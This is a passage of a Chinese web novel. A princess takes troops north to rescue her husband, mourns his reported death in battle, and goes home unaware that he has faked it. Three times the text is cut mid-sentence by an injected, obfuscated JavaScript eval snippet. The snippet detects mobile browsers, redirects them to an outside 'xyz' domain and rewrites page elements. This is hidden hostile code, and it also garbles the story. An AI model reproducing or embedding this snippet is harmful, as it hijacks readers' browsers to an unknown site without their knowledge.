冰绡领命而去,之后又问陈安:“粮草军皆有账目,他屯私兵,朝中不知道吗?” “私兵是先太后为殿下所留,新帝登基后,此军编入临闾关军中,人数并未实报,殿下私产补贴军费,明面上走临闾关军营账目。” “父母之爱子,则为之计深远”,先太后对冷逸尘的确是用心良苦,此时,暖暖也理解了冷逸尘对先太后复杂的感情。 先皇后抚养他长大、为他筹谋帝位,却也杀害了他全家性命、引起了朝堂动荡。 他对养母的感情,不是简单的爱与恨就能说得明白的。 但私自屯兵是重罪,依他的性格,不会这样做,暖暖向陈安询问缘由。 “小人也曾提醒过殿下,但殿下依旧如此,小人猜测大概是殿下对内阁有所失望,才会保留此军。” 内阁打压、帝王猜忌,暖暖明白,陈安说说的“对内阁失望”,其实是指对祁帝的失望。 说话间,冰绡携剑至,暖暖指着上面的燕型装饰说道:“可是这个?” 陈安双手接过剑,仔细地看了看,确认无误后才带着些激动,问道:“正是此物!不想兵符竟在王妃处。” 得到了肯定的回答,暖暖豁然起身,发号施令:“备马,立即前往建昌大营调兵。” 陈安端正一礼:“得令,小人随王妃同去。” 之后他立即安排马匹干粮事宜,当准备停当时,只见公主出来,身着一袭红衣,气质高贵、英姿无限,使人无限敬畏。 他不由自主地对她一拜:“小人在此谢公主大义。” 暖暖叹了口气:“我和亲之时,人人都说我大义为民,现在你又说我大义,我哪有那么高尚,我只是为了我的夫君罢了。” “公主勇气,非寻常女子可及。”陈安说罢,命人牵来一匹马,是珍珠。 “我身为公主、王妃,本就不是寻常女子。”暖暖接过马鞭与缰绳,拍了拍马儿的头,说道:“珍珠,你还记得我,让我们再驰骋一回。” “请王妃上马!”陈安单膝跪下,示意她踩着他的大腿上去。 暖暖撩衣上马,马鞭一拍,珍珠嘶鸣一声,飞奔出了军营,之后紧跟着绣衣使与陈安。 冰绡安排舒雁与两名绣衣使留守临闾关,又派两名绣衣使去宁远城待命,她与其余绣衣使换了军装与公主同行。 临闾关与建昌大营二百余里,行路一天一夜,一行人在第二日午后赶到了建昌大营。 大营中帐,陈安将调兵的军令呈给大营守将陈铨,陈铨看过后,又将信交于军中文书校验笔迹是否正确。 他接过来人手中的兵符,仔细观看着,正是崇宁王殿下对那一半兵符,但他没有立即拿出另一半兵符来匹配。 虽说历来是“认符不认人”,但遣将领调兵,不单单只有兵符,还要附有文书,上书征战目的、调兵多少、出兵何地,兵符与文书齐全,方可出病。 他细细打量着下面站着的两个人,那个自称“陈安”的男子,虽身着铠甲,却是一副文弱书生样,让人不能相信他是军中之人。 倒是陈安身后一身着黑色斗篷的人,虽然戴着风帽看不清相貌,却能感觉到其不凡的气场。 刚才从这人手中接过兵符之时,那双手虽然缠着布条,却可见手指纤细,肌肤细嫩,应是个女子。 这女子是何人?军中怎会有女子? 来人恐有诈! 所以他却不敢贸然承认此兵符,若承认便是坐实了崇宁王殿下私自屯兵之实,后果就是殿下及全营将士性命不保,祸及九族。 沉思良久,他才开口道:“此军令调的事临闾关之兵,你是何人?竟敢来此调兵。” 陈安拱手为礼:“小人是辽西郡郡尉府管家,曾任崇宁王军中法算,殿下曾秘密交代小人,紧急时可调用此处兵力,如今边境危机,敌众我寡,请将军速速出兵,救殿下于水火。” 听到此处,陈铨心中一急,猛然站了起来,顿了一下后又缓缓坐了回去,此时有军士将军令送回,对他点了一下头。 他又将军令看了一遍,看日期是四日前,便问道:“你们从临闾关来?” 陈安:“正是。” “若殿下危难,更应由殿下亲书文书,派亲信八百里加急,持兵符来调兵,可为何只有你二人前来?” 暖暖藏在斗篷下的双手紧紧握在一起,此前她犹豫过要不要将兵符直接拿出,建昌大营多年未动,难保其不会叛变,但她最后还是决定直接拿出兵符,因为时间刻不容缓,这是救冷逸尘的最后一丝希望。 事情紧急,晚一刻冷逸尘便会多一分危险,暖暖摘下风帽,自亮身份:“本宫乃崇宁王王妃,就是殿下亲信,请将军速速出兵。” 陈铨听了,微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871500|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一怔,而后一笑,接着呵斥道:“大胆!哪里来的骗子?竟敢诓骗于本将军!天下皆知崇宁王王妃于重峪关殉国,又怎会亲临此处!来人,将此二人带下斩首。” 陈安立即上前半步,将王妃护于身后:“将军容禀!王妃在重峪关身负重伤,并未伤及性命,殿下恐有人追杀王妃,便对外宣称王妃殉国。如今王妃归来,特持兵符来调兵,请将军出兵!” 陈铨自然不会相信:“口说无凭,可有证据?” 陈安回道:“王妃宝印在此,请将军过目。”说着将宝印双手奉上,接着解释道:“正因王妃在世,殿下才未将宝印交还于朝中。” 陈铨立即起身,双手接过宝印,之后转入屏风后,找出崇宁王留下的印鉴图比对。 新帝登基之后,崇宁王便遣人来交给了他这印鉴图,并书信中言说王妃至燕北,命他随时待命,保王妃万无一失。 后来便听闻王妃殉国一事,不想这印鉴图在此时派上了用场。 确认印鉴为真后,他出来拿出另一半兵符,将来半兵符合而为一,之后单膝跪在王妃身前,将兵符与宝印双手奉上:“王妃恕罪,未将即可点兵,一个时辰后出发。” 暖暖收回兵符与宝印:“多谢将军。” 不到一个时辰队伍分两批出发,陈铨带领二千骑兵先行,随后紧跟三千步兵。 行军三日至宁远城,队伍再次稍作休整,陈铨根据前线的消息,制定作战计划,又行军两日至边境前线。 一路上可见房屋烧毁、尸骨暴野,处处都是兵气荡荡,使得人心惶惶。 前线大营中,伤者不计其数,军中人言说:“任将军在外拒敌,两日未归。” 问清地点后,陈铨立即带兵前去支援,暖暖不顾绣衣卫阻止,也随军前去。 二十里开外,泽生与敌军激战正酣,援军一到,契丹人便大败而逃。 一细问方知冷逸尘乘胜追敌,孤军深入,中了敌人圈套,如今已被围困了几日,生死不明。 陈铨的人马还未喘口气,便又出发,这次暖暖再想同去,却被冰绡死命拦住。 泽生本欲与陈铨同去,但他已负伤且需保护王妃的安全,权衡利弊后,他还是留了下来。 他们没有归营,而是在这里等待。 暖暖觉得时间仿佛被拉长了数倍,等待的每一刻都如同是漫漫长夜,让人感到无比的孤独与无助。 她每日都爬到最高的山坡上,眺望着远方,期待能望见冷逸尘的身影。 可是,金乌坠玉兔升,夜将尽人未还。 三日后,却只等到陈铨归来,这三日,她仿佛过了三十年。 陈铨血染战袍,见到王妃,扑通一跪,含泪奉上一根珍珠发簪和一张被血染过的布条。 他声音哽咽:“末将去晚了,殿下被围困山谷,契丹人用火攻,末将只寻回了殿下的尸首。” 暖暖只当是听错了,反复问道:“你说什么?” 陈铨将手中之物举高了一些:“殿下他……以身殉国!” “怎么可能!”暖暖犹不相信,恍然如在梦中。 她木然地接过布条,那布条已被烧毁了大半,仅仅留下几个字迹: “……今日此时,难许重逢,定有来世,不负相思……” 137. 梦醒辞前尘 不可能,这不可能…… 暖暖不敢相信,他说过这只是小事,他说过一定会回来,他说过此生与她再不分离。他不会食言。 她神情慌乱,抬脚却不知要向哪里走:“他不会食言,我去找他……” 陈铨立即阻止道:“王妃不可,殿下已是……面目全非,恐惊吓到王妃。” 冰绡立即拦住公主,她见过被烧之人的尸体,惨不忍睹,公主可见不得这些,即便那人是她最爱之人。 “放开我……”暖暖声音嘶哑,忽觉心口剧痛,令她窒息,身子发沉,站立不稳。 冰绡见她面色变黑,暗道“不妙”,立即将她敲晕,在后背点了两个穴位,之后轻轻一拍,便有一道鲜血从她口中流出。 此举十分及时与要紧,暖暖旧疾复发,再任由情绪激动下去,恐有性命之忧。 “快叫军医来!”泽生仍未从震惊中缓过来,但他不相信这是真的,活要见人、死要见尸,只要未见到殿下真身,一切就不成定论! 他上前一步接住公主,不顾男女之防,将她抱下山坡,回到了营帐之中。 军医在大营,到这里最快也要半个时辰,冰绡看公主脉象极其虚弱,掏出一粒丸药为她服下。 此丸药是季萧按照宋神农开的药方制成,以备不时之需,不想此时派上了用场。 药丸服下一刻钟后,暖暖面色转白,人虽然未醒,但脉象却平和许多,冰绡松了半口气。 她想但此地缺医少药,与其等军医来不如将公主带至安全地方,好生修养诊治。 于是她安排好绣衣使看护公主,起身去寻任将军,请他安排车架。 此刻泽生正与陈安、陈铨跪在崇宁王殿下的尸骨之前,听着黎平讲述事情经过。 “殿下带军追击,山势崎岖、道路不明,不知怎么就迷了路,之后便落入圈套,敌人火攻,殿下身负重伤不得脱,不幸……” 黎平说着,已是泣不成声。 泽生看着用马革裹着、浑身血污的焦黑尸体,不由得轻轻颤抖起来,他膝行两步上前,可殿下已面容尽毁,无法辨认模样。 他不敢相信、也不愿相信,这具尸体就是是他那光风霁月、风度翩翩的殿下。 绝望涌上心头,他紧紧抓着残破的铠甲,眼中恨意溢出,心中发誓要将契丹人赶尽杀绝。 他忍着心痛起身为殿下整理战袍,摸至手腕处时,只觉有些异样。 冷逸尘常年练剑,惯用右手,故而右手手掌要比左手大一些,虽然手掌肌肤损毁,但却也能看出手不是殿下的手。 他面上闪过一丝诧异,转头看向大哭不止的黎平,更加疑惑。 黎平为何毫发无伤?他是殿下贴身侍卫,若是殿下有难,他怎会不相救? 虽说殿下不善征战,但也是熟读兵法、身经百战,定然知道“穷寇莫追”的道理,可此番怎么就求胜心切? 回想战局,这契丹人已被打得穷途末路,祁国胜利在望,虽说兵力紧张,但局势依旧在可控范围之内,可殿下依旧一次次调兵,将战斗惨烈的消息散播出去,此举又是为了什么? 疑点越来越多,他不动声色,行至尸体头部,借着摆正头颅的动作,在尸体后脑勺处摸了一下。 冷逸尘后脑处有一红豆大小的痣,隔着头发便可摸到,此事只有他知道,大概公主都不一定知道。 但此人却是后脑平整无暇,他不放心,又仔细扒开烧焦的头发确认了一遍。 之后大喜,此人,果然不是殿下! 喜出望外,泽生几乎要笑出声来,抑制不住激动,便捶胸顿足地哭喊起来:“殿下!殿下!殿下呀……” 冰绡到来时,正见泽生这由悲转喜,忽又由喜转悲的一幕,以为他是伤心过度得了失心疯,便转向陈安,说明来意。 陈安侧身拭了眼角,稍加思量后回答:“此处无马车,小人立即安排担架送王妃回大营。” 泽生瞥见冰绡,立即想起公主来,活人要紧,便也不装了,起身去看公主。 路上他犹豫着要不要将此事告知,但此事他还有很多疑惑未解,殿下此举为何?又为何要瞒着所有人?他一时也不明白,但他相信殿下他一定有自己的道理。 既然殿下不让公主知晓,他便不能告知公主,于是他立即打消了这个念头。 待泽生回到帐篷,暖暖刚刚转醒,靠着一个绣衣使,看着手中的字条与发簪,却眼神空洞。 感知到有人到来,她缓缓抬起头,轻轻叫了一声:“泽生?” 泽生单膝跪地,视线与她齐平:“公主……节哀!” 暖暖闭眼,泪水无声地滑落,节哀!他又一次抛弃了她! 她展开字条,喃喃地念道:“……定有来世,不负相思……此生已相负,何苦托来世?哪里有什么来世?都是骗人的罢了。” 再看珍珠发簪,已满是烟灰和血污染黑,她用袖子擦拭干净,却不见往日光彩。 明珠双垂泪,恨无重逢日。 她闭眼,深深叹息,只觉万念俱灰,十二分的疲惫:“带我去看看他。” “不可……”泽生下意识地拒绝,但见公主痛苦万分,几欲将实情说出,但话到嘴边又咽了回去。 但拒绝总要找个理由,可一时又想不到什么理由,他叩首道:“此地危险,属下送公主回宁远城。” 暖暖:“连最后一面都不让我见吗?” 泽生双膝跪地:“请公主速归。” 暖暖并不听他的,起身向外走,此时她神魂已乱,再加之药物作用,使她如行云雾间。 由绣衣使搀扶着走出帐篷,只见漫天白色如雪。 大营派来接引灵柩的队伍已至,众军士皆已披麻,一群人围在一起,大约是正在为冷逸尘装裹,她脚下不由自主想过去,却被冰绡拉住。 她哀伤至极,肝肠寸断,心中意难平,一股恨意生出,她恨这天地不仁,恨冷逸尘言而无信。 就这样离别也好,此后,她便不用再等他了。 她将书信与珍珠发簪一并丢到了火中,字条迅速燃烧,化成一缕烟,发簪表面的污垢却被火舌舔舐干净,映照出火的光亮。 之后吩咐道:“冰绡,启程!” “公主……”泽生焦急地说着,伸手去火中捡那发簪。 他看着公主摇摇欲追的背影,又看了一眼手中的发簪,无奈地叹了口气,之后一声令下,队伍启程。 暖暖不知自己是怎样回到宁远城的庄子中,这几日昏昏沉沉,恍然梦一场。 回想她此次到燕北,像是冥冥注定一般,大概是上天为了给她与冷逸尘一次告别的机会。 天意弄人,这可真是一场欢喜而又痛苦的告别。 冰绡担忧公主的身体,想联络季萧,让宋神农来诊脉,不料四名绣衣使先行到来,告知她们:陛下旨意,命公主归国,季萧已先行离开了,公主由他们护送。 她忍不住咒骂了季萧几句,不解他明知此地危险,竟全然不顾公主安危独自离开,这笔账待她回去后再好好与他算一算。 不过宋神农的药确实有效,公主的旧疾未发作,全赖此药方。 她见公主服药后十分不适,便找出蜜饯来给公主。 暖暖睹物思人,不觉又落下泪来,送了一颗进口中,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894695|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸味,再尝不出甜蜜。 人不在了,味道也不在了。 她问道:“冰绡,你可有过喜欢的人?” 冰绡摇摇头。 “你可知这种生离死别的感受” “知道,这在侍卫营很常见,属下已经习惯了。” 冰绡不知如何安慰,便提议道:“公主,保重身体要紧,出去走走,可好?” 暖暖擦了泪,一腔心绪无处排遣,看着外面的日光甚好,便答应了。 阳光不强,但却刺得她有些张不开眼睛,她便坐到了廊下的树荫中。 不多时,泽生到来,行礼后说道:“公主,京旨意已到,令将军灵柩归京。” 泽生只说此时只说“将军”,因为将军可以是任何人,但“殿下”只有一人。 奈何暖暖未解其意,不知他用心良苦,泪水又溢满了眼眶:“我去送送他……” “将军灵柩已启程……公主之后有什么打算?”泽生将“公主”二字咬得极重。 暖暖倒是听出了他的意思,自嘲一笑,对,公主,她现在是祁国平阳公主,有什么资格去送呢? 打算?是啊!她今后只是梁国公主,是该做打算了。此前那些打算终究是一场空,该想想以后如何了。 檐下传来一阵幼燕的叫声,一窝小燕子张着嘴等着大燕子来喂食。 她看着这一幕,缓缓地说道:“我出来太久了,该回家了。” 这回答似乎是正合了泽生的心意,他回答:“属下送公主归还。” 暖暖看了一眼泽生,冷笑一声:“泽生,咱们认识已经很多年了,算是朋友了,他离开了,你不伤心吗?” 泽生暗道一声“大意”,之后换了一副忧伤的表情,悲戚道:“伤心……但燕北已平,殿下夙愿已了,他没有什么遗憾。” “没有遗憾了……我于他来说,不算是遗憾!”暖暖忽觉心中一凉,她与江山比起来,轻若鸿毛,虽然这个道理她早就明白,可心中还是失落。 女子就是麻烦!泽生见公主伤心,忙找补道:“不,不……殿下没有说,这是属下的意思,请公主相信,殿下不会辜负过公主!” 暖暖冷笑:“如果这都不算辜负,那什么算是辜负?” 泽生见越描越黑,不再解释,直言道:“公主何时启程,属下去安排。” 暖暖见他竟催促自己离开,她也不好赖着不走,起身说道:“任将军!这几日有劳将军照拂,本宫今日就走。” 说着转身进屋吩咐冰绡准备启程。 一声“任将军”已将二人拉开距离,泽生拍了拍自己的嘴两下:怎么就不会说话了! 也无怪他这般失言,今日来各种事务已让他力不从心,冷逸尘不在,他只能强装镇定,稳住军心。 好在冷逸尘此前已将作战计划与战后之事详细交代,才使他能应对。 他看着留下来的机要,才发现原来殿下早有预谋,可恨他自己没有发觉一点,跟了殿下这么多年,竟然连这点都没看穿。 他又私下里问过黎平,可黎平一口咬定殿下身故,对当时情况的一套说辞,几乎是滴水不漏。 凭他的直觉,这套说辞是早就准备好的,人在危难时刻紧张无比,不可能记得每个细节。 如此,他更加确定殿下假死之事,而且也确定了殿下他有自己的计划。 他有些伤心,殿下将他一个人丢在这里,如今又得罪了公主,这下倒成了孤家寡人一个。 唉!这将军不做也罢!明日就辞可职位,到长右山去。 想到长右山,他豁然开朗。 殿下一定是去了长右山! 138. 人生多别离 冰绡早已将物资备好,只待公主令下,即刻启程。 泽生一路相送至临闾关,期间他多次向公主示和,却未得公主一言。 到达关城门口,暖暖命人停车,打开车窗对泽生说道:“有劳任将军相送,临闾关已至,将军请回,稍后本宫会命人将舒雁接回,还望将军知会一声。”之后吩咐冰绡:“入城。” 不料泽生一挥手,军士立即将车马围了起来,同时绣衣使护在车架四周,手紧紧按在剑柄上,严阵以待。 暖暖本就对他不满,此刻怒气翻涌:“任泽生,你这是做什么?你想抗命吗?” 一丝诧异在泽生眼中闪过,随即心中多了欣喜,此刻,公主还认他,他仍旧是公主的侍卫。 他立即下马拱手为礼:“泽生不敢,公主容禀,殿下曾令属下护公主安危,属下定将公主安全送归。” 提起冷逸尘,暖暖心中酸涩,她暗自深吸一口气方忍下泪水:“他何时给你下的令?” “公主独自在燕北时,公主独自离开京城时,殿下都曾给属下过令。” “他已不在了,这令不作数了!”暖暖低垂了眼眸。 泽生的表情也凝重起来,跪拜在地:“殿下的命令,泽生不敢忘,只要公主在此一日,泽生便保护公主一日,请公主改道。” 暖暖心软了,泪水忍不住掉下来,泽生对她而言,不仅仅是侍卫,而且是朋友。 良久,她收起情绪,对冰绡说道:“随他们启程。” 到了都府门口,舒雁迎了出来,见到泽生脚下一顿,尴尬地对他点头示意后快步走向马车,搀扶公主下来。 她见公主一脸憔悴,眼角有泪痕,想问发生了何事,但见冰绡皱着眉冲她摇头,便不再多问。 回到山海居,触目皆是二人过往,她将冷逸尘整理的书信诗文搬出,坐于台阶上翻看着,过往的记忆却开始模糊。 不知为何,她只觉这些文字是平常,没有了感慨,此刻她与他并没有阻隔,甚至觉得生前无相亲,亦不觉得人间有长恨。 她自问,是不爱了吗?还是相爱太累? 上一次的生离,令她悲痛欲绝,此次的死别,虽是肝肠断裂,她却冷静得可怕,没有没有迫切想见他最后一面的期望,没有随他去的念头,甚至少有留恋,她现在只想回梁国去。 经历了这么多悲欢离合,她已不是当年的小公主,心也变得凉薄、坚硬。 那么,今日便做个了断吧! 她吩咐道:“拿火盆来。” 书信在火盆中瞬间化为灰烬,就像他们的爱情,曾经炙热而明亮,最终只剩静默与灰烬。 她的哥哥还在等她回家,她迫切的想回到亲人身边,于是决定明日启程。 一路向南,泽生相送,朝行暮止,少有停歇。 及至景州驿,暖暖半夜醒来,天还未亮,闻得驿馆外树上几声鹧鸪啼鸣,她才想起此处是秦羽身亡之地。 这几声啼鸣,大约是秦羽向她问候。 整衣起身,置酒水点心摆于驿馆外树下,上香三柱,祭酒三碗后说道:“秦羽,信王叶皓已登帝位,报汝之仇指日可待,云琴已为人母,平安顺遂,汝可放心矣。” 此话说完,又是几声啼鸣,像是在回应她,继而树枝颤动,一鸟向南高飞而去。 暖暖不觉心中一酸,人世悠悠、天道渺茫,谁也越不过生死大限,终要与这人世割恩断爱。 再次启程,一路行至洛河卢峰渡,梁国的船只已在岸边等候。 一年轻将军见车马至,立即下船来到车架前:“末将肖云平,恭请平阳公主殿下车登船。” 暖暖隔着车窗,见一年轻将军单膝跪在车前,若他不自报姓名,她已不认得此人是谁。 “肖云平……画眉可好?” “一切都好,有劳公主记挂,请公主移驾。” 暖暖下了车,见泽生侍立一旁,似有话说,于是屏退众人,对他说道:“多谢任将军护送,就此别过。” 泽生跪拜叩首,双手奉上清和剑:“公主忘记此剑了。” 暖暖并未接,也未言语,人已不在,徒留这信物有何用。 泽生见公主未接,抬头直视于她,轻轻叫了一声:“公主……” 他看见一抹笑意自公主嘴角而出,这笑容似曾相识,当年在洛水边,她的笑容亦是如此。 他没有坚持,缓缓收回剑:“公主保重,来日再见。” 暖暖仰头望天,不让眼泪流出:“泽生,我们以后大概不会再见面了……战场上刀剑无眼,你自当小心为上。” 说罢转身向渡口走去,自有侍从军士紧跟其后。 泽生看着公主的背影隐没于人群之中,双手握紧了手中之剑,心中笃定:人生何处不相逢,公主,我们一定会再见面。 安排停当,船只起航,暖暖立于船舷旁,见泽生仍跪于岸边,泪水无声滑落。 一样的时节、一样的天气,上次送别叶皓,此次离去的是她自己,真是人生无常、世事难料。 船渐行渐远,终于消失于河面之上,泽生起身,命人将清和剑放于剑匣内小心收好,有朝一日,此剑定会物归原主。 正待他要返程之时,忽听见岸边密林中传来两长一短再一长的哨声,他心中大喜,这是他与殿下约定的暗号声。 他立即上马,独自一人朝声源飞奔而去,行至山坡后寻到了两辆马车。 车门打开,却见季萧从里面出来,示意他上车去。 泽生心中激动难抑,顾不得疑惑跳上车去,直觉一股草药味扑面而来,见冷意尘面色苍白,只穿着里衣坐于车中,胸口缠着绷带,隐约可见血迹。 “殿下,您怎么在这里?”泽生担忧起来,想跪下去,却被冷逸尘拉住坐于他身侧。 冷逸尘见他未有惊讶之色,便知他已知道缘由,但还是问道:“泽生,你已知我未死,可是黎平告知于你?” “不是,黎平只字未语,是我猜的,只是不知殿下为何与绣衣卫在一起。” “与绣衣卫合作,也是机缘巧合,先不说这个,你速回燕北,稳住大局,契丹人已不足为患,此后修葺长城,守土护国之事就交于你了。” 冷逸尘说完,把手放于泽生肩膀上,轻拍了两下。 这两下虽轻,可于泽生来说却是千斤之重,他有些不自信:“殿下,可我……” “放手去做,你是我带出来的,不要给我丢人!”冷逸尘相信他已有独当一面的能力,他对他是放心的。 泽生缓缓抬起头,迎上冷逸尘的目光,那目光中是殷切的希望,他不敢接下这希望,只问道:“殿下要去哪里?” “为师门复仇!”冷逸尘坐正了身体,将手收回。 “为什么不告诉公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915959|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您可知公主有多伤心!” 冷逸尘将车窗打开一条缝隙,日晒雨露气息涌进,将草药味冲淡。 “家国事已平,我对得起大祁!之后便是师门之仇,我此去前路未卜,不想连累于她……若我死了,她有师兄做主,定会嫁得良人,顺遂一生。” “是大祁对不起殿下……可殿下对得起公主吗?” 冷逸尘沉默良久,之后缓缓说道:“长痛不如短痛,她会理解……时辰不早了,去吧。” 泽生跪下身躯三叩首:“属下定不负殿下嘱托,守好大祁疆土。此后的路,属下不能再陪您了……殿下保重!” 他说到后面,话音已轻轻颤抖,从怀中拿出一个布包交给冷逸尘:“这是公主留下的,殿下收好。” 说罢转身下车去,他不能让殿下看到他的泪水。 冷逸尘听着马蹄声渐远,打开布包,是那珍珠发簪,虽然仔细清理过,但还是能看到烈火灼烧的痕迹。 他紧紧攥住发簪,一阵心痛使得他剧烈咳起来。 季萧闻声上车,拿出一粒药丸为他服下:“殿下的伤需要静养,这保济丸不宜多服。” 几日的相处,季萧为冷逸尘的人品折服,这位崇宁王殿下为人光风霁月、做事光明磊落,是他从未见过的正人君子。 此前他为了公主,只答应帮他假死,而如今他还愿意帮他疗伤,安排他离开,完全是为他的人品所吸引。 冷逸尘摆摆手:“此地不宜久留,待天黑后立即渡河。” “是。” 忽然,冷逸尘想到了什么,问道:“那人可还好?” “殿下放心,我给他日日服药,他只是昏睡,不知同行之人有殿下。只是……” 冷逸尘抬眸,疑惑道:“只是什么?” 季萧一笑:“这药再多服两次,只怕人会变得痴傻!不过痴傻也好,省得他再胡言乱语。” “不可,此事也算是他将功折罪了。”冷逸尘思忖了一下,说道:“这样,你派两个人先带他渡河,之后送他还乡。” “殿下仁善,依我说就该将他扔在战场上!”季萧想起在维扬的事,恨不得再给此人扎上两刀。 “不可意气用事,他也是你朝朝臣,在祁囯出了事,于两国之间多有为难。” “是,殿下思虑周全,我这就去。” 季萧下车后,打开另一辆车门,只见于文则被捆了手脚,睡得正酣,他暗骂到:成事不足,败事有余。 之后命两名绣衣使驾车到渡口过河。 于文则被扔到船舱内,头重重地撞在地上,疼痛让他醒来,头脑却是昏昏沉沉,待清醒一些,看了看周围的环境,大闹起来:“这是哪里?你们要带我去哪里?” 没有人回应,一个绣衣卫过来,直接塞了一大块布在他口中。 他也是识时务者,自知越挣扎越没有好果子吃,索性靠着麻袋休息。 他怎么也想不明白,季萧这个竖子竟胆大到这个程度,拿他气病公主之事来威胁,将他扔到契丹人的营地中,令他挑起祁囯与契丹的战火。 凭他三寸不烂之舌,这事倒也不难,战事起,他九死一生逃了出来,再见绣衣使便又被下药,也不知是如何到此处的。 不过他也不担忧,绣衣卫不敢拿他怎么样,但人在屋檐下、不得不低头,待日后回京,必定要狠狠地参绣衣卫一本。 139. 去去重去去 踏上梁国的土地后,暖暖顺利抵达梁京。 城东京郊十里亭处,一队人马已在此等候,为首的韦素见队伍到来,立即迎上去,接手了车架。之后将马车引至亭边,对车中之人行礼问安:“未将韦素恭请公主金安,请公主移步车撵。” 终于归来了,暖暖本想看看这熟悉的地方,却见周围已用帷幕围了起来,一架两架的马车停旁边。 这马车是公主的车架规格。 她换乘车架,打开车门,却叶皓坐于车内,投过来的目光中尽是担忧。 终于见到了亲人,她瞬间红了眼角,抿紧嘴唇,心中涌起一股难以言喻的伤感,跪倒在叶皓身前,叫了一声:“四哥……” 这一声“四哥”,满是委屈与伤心。 叶皓俯下身去,将她罩在怀中,心疼地说道:“我都知道了,想哭就哭吧。” 他知道她是不会轻易在外人面前表达情绪,这一路她一定难受极了。 果然,暖暖终于见到了可以诉说心事之人,紧紧抓着他的袖子,将脸埋在他的肩上大哭起来。 叶皓轻轻拍着她的背,不断地安慰:“都过去了,回来就好、回来就好……” 哭泣了一阵,她抬起头,轻轻点点头。 叶皓用帕子将她脸上的泪痕一点点擦掉,她这个样子,着实让人不放心:“回宫住吧,三哥三嫂都想你了。” 提到哥哥与姐姐,他又是一阵心酸,点着头泪水又流了下来。 叶皓心中疼惜不已,捏了捏袖中的书信,却没有拿出来,这封信是前几日季萧传来,是冷逸尘亲笔。 “师兄: 长风顿首,见字如晤。 我已假死脱身,现暂居维扬,之后将再登长右山,研习剑术,报师门之仇。师兄肩负家国重任,不可再为此事忧心,我已是无国无家之人,待太一玄门剑法练成之时,再攻招摇山。 我此去前路未卜,暂不可告知暖暖,我已令她失望多次,不想再辜负于她。若我能平安归来,还请师兄成全我二人,若我身死魂亡,也是天意如此,请师兄照拂暖暖,为其再觅佳偶。 长风顿首再拜!” 叶皓看完信后第一反应就是生气,他竟不跟自己商量,要独自去报师门之仇。之后又不由得心疼他,一心为国为家,却受君王与朝堂猜忌,落得这般田地。但最后心中却是敬佩,不论为人子还是为人臣,他真正做到了忠孝两全,即便是没有得到相应的回报,他依旧毫无怨言,只求问心无愧。 对于冷逸尘的这种决绝,叶皓下定决心做他的后盾,他在这世上已没有血亲,那么他和暖暖就是他的亲人,凌长风会是他的新身份,他会给他该有的一切。 对于长右山之仇,叶皓一直有留意,长右山主门荀正阳一脉日渐势衰弱,不复当年心气,弟子高荀即将接手师门,但这高荀却不是能力和天姿出众之人,性子也像师伯,不愿理会江湖事,故而师门之仇已过去多年,竟未得报。 上次他与冷逸尘二人见面匆忙,好多事未来得及沟通,叶皓以为冷逸尘知道了招摇山圣女是荀婉婉母亲一事,便也放弃复仇,但现在他明白了,冷逸尘是在谋求脱身。以他的性格绝,不会抛下家国事不管不顾,如今国事已安,他便要料理师门之事。 他兄弟二人的目的是一致的,但却选择不同的道路,叶皓要借国家兵力围剿招摇山,而冷逸尘则要靠自己的力量单打独斗。 虽然叶皓佩服长风的做法,遵循江湖条约、复核江湖道义,但是招摇宗行事歹毒、心狠手辣,冷逸尘此去没有几分胜算。 而师傅的真传,太一玄门剑法,这天下怕只有冷逸尘一人得以传承。 此事,他绝不允许他师弟去冒险,师门之仇,他会与他一起去报。 最后他还是决定尊重冷逸尘的意愿,不将此事告知暖暖,这次,他二人又要再欺瞒她一次了。 对于暖暖出行燕北一事,已被叶皓瞒下,除绣衣使外,知情人只有一个于文则。于是他下旨令于文则入益州郡为官,明升暗贬,也算是对他的惩罚。 如此,众人只知暖暖在维扬医好了头疾。 对暖暖,叶皓心中虽有歉意,但也不希望暖暖去过那种每日提心吊胆的日子,这一切本不是她该承受的。 归至梁宫,暖暖依旧住在金华殿,探望了众人之后,她便再也不出去,日日在佛堂内抄写经书。于她而言,这世上风日再好,也已无甚意思,还不如这佛堂里来得清净。 暖暖的这种状态,令夏萱焦急不已,怎么好好的一个人,医好了头疾,又开始沉默寡言了。她将此事说与叶钧,叶钧沉吟一下,却道:“暖暖已不是小孩子,她自己有主意。” 夏萱自是不信这套说辞,怪他现在万事不理,心中只有朝政,叶钧不由得又要劝慰一番。 万事虽有不顺意,但也算平安无事,日子终归是要继续。 中秋过后,暖暖刚上完香,便有中官来宣旨:“陛下召见平阳公主于太极殿。” 